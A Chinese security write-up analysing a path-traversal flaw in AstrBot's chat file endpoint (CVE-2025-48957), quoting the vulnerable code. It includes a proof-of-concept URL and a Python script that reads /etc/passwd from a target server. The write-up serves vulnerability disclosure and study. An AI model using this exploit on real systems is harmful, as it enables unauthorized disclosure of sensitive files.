漏洞说明
AstrBot是AstrBot开源的一个多平台 LM 聊天机器人及开发框架。AstrBot 3.4.4至3.5.12版本存在安全漏洞,该漏洞源于路径遍历缺陷,可能导致敏感信息泄露。
影响版本
3.4.4至3.5.12
代码结构
- astrbot:核心代码
- api:未开发插件设计的模块和工具,方便插件进行导入和使用
- core:核心代码
- dashboard:WebUI后端代码
- changelogs:更新日志
- dashboard:WebUI后端代码
- packages:保留插件
- tests:测试代码
- main.py:主程序入口
分析
漏洞成因
根据网上的poc分析源码,找到get_file方法,在AstrBot-3.5.12/dashboard/routes/chat.py中

async def get_file(self):
filename = request.args.get("filename")
if not filename:
return Response().error("Missing key: filename").__dict__
try:
with open(os.path.join(self.imgs_dir, filename), "rb") as f:
if filename.endswith(".wav"):
return QuartResponse(f.read(), mimetype="audio/wav")
elif filename.split(".")[-1] in self.supported_imgs:
return QuartResponse(f.read(), mimetype="image/jpeg")
else:
return QuartResponse(f.read())
except FileNotFoundError:
return Response().error("File not found").__dict__首先分析这段代码,获取文件名:从查询参数中获取“filename”,如果没有提供文件名返回错误;打开并返回文件:尝试在self.imgs_dir目录下打开文件,使用with语句确保文件正确关闭;根据文件类型设置:如果是.wav音频文件则设置MIME类型为“audio/wav”,如果是图片格式(检查拓展名是否在self.supported_imgs中)则设置MIME类型为“image/jpeg”,其他文件类型不指定MIME类型,让Quart自动判断,错误处理:如果文件不存在,则返回File not found。
在上面的代码中可以知道并没有对文件名进行检查,而且f.read()一次性读取整个文件到内存,包括使用split(".")[-1]获取拓展名,对于没有拓展名或点开头的文件名会出现错误
当然不能光是判断文件名这些,要找到获取文件路径的位置

self.imgs_dir = os.path.join(get_astrbot_data_path(), "webchat", "imgs")可以跟踪一下看看这个get_astrbot_data_path()在什么位置被定义了(这个函数获取AstrBot应用程序数据存储根目录)

也可以使用ctrl+鼠标左键对准这个函数即可跳转到声明

文件位置为AstrBot-3.5.12/astrbot/core/utils/astrbot_path.py

def get_astrbot_root() -> str:
"""获取Astrbot根目录路径"""
if path := os.environ.get("ASTRBOT_ROOT"):
return os.path.realpath(path)
else:
return os.path.realpath(os.getcwd())
def get_astrbot_data_path() -> str:
"""获取Astrbot数据目录路径"""
return os.path.realpath(os.path.join(get_astrbot_root(), "data"))get_astrbot_root()
这里是获取根目录的一个路径,先使用环境变量ASTRBOT_ROOT指定路径,若没有设置环境变量,则返回当前工作目录os.getcwd()
当然返回值是绝对路径(通过os.path.realpath解析符号链接并标准化)
get_astrbot_data_path()
跟上面一个函数的逻辑是一样的,不过多了一个os.path.join(),路径拼接一个data子目录
然后通过路径标准化:解析符号链接->转换为绝对路径->规范化路径格式(移除./,../等)
根据以上分析,直接使用/api/chat/get_file?filename=就可以去构成一个任意文件读取
POC
xxxx/api/chat/get_file?filename=../../../../etc/passwd
脚本
import requests
import argparse
from urllib.parse import quote
def check_vulnerability(url):
payloads = [
"../../../../etc/passwd"
]
for payload in payloads:
try:
target_url = f"{url}?filename={quote(payload)}"
response = requests.get(
target_url,
timeout=10,
headers={'User-Agent': 'SecurityScanner/1.0'}
)
if response.status_code == 200 and "root:x:0" in response.text:
print("\n")
print(response.text)
return True
except Exception as e:
print(f"[-] 测试失败 ({payload}): {str(e)}")
print("未检测到漏洞")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-48957")
parser.add_argument("url", help="目标URL (例如: http://example.com/api/get_file)")
args = parser.parse_args()
if not args.url.startswith(("http://", "https://")):
print("[!] 请提供完整的URL (以http://或https://开头)")
exit(1)
check_vulnerability(args.url)测试成果



免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)



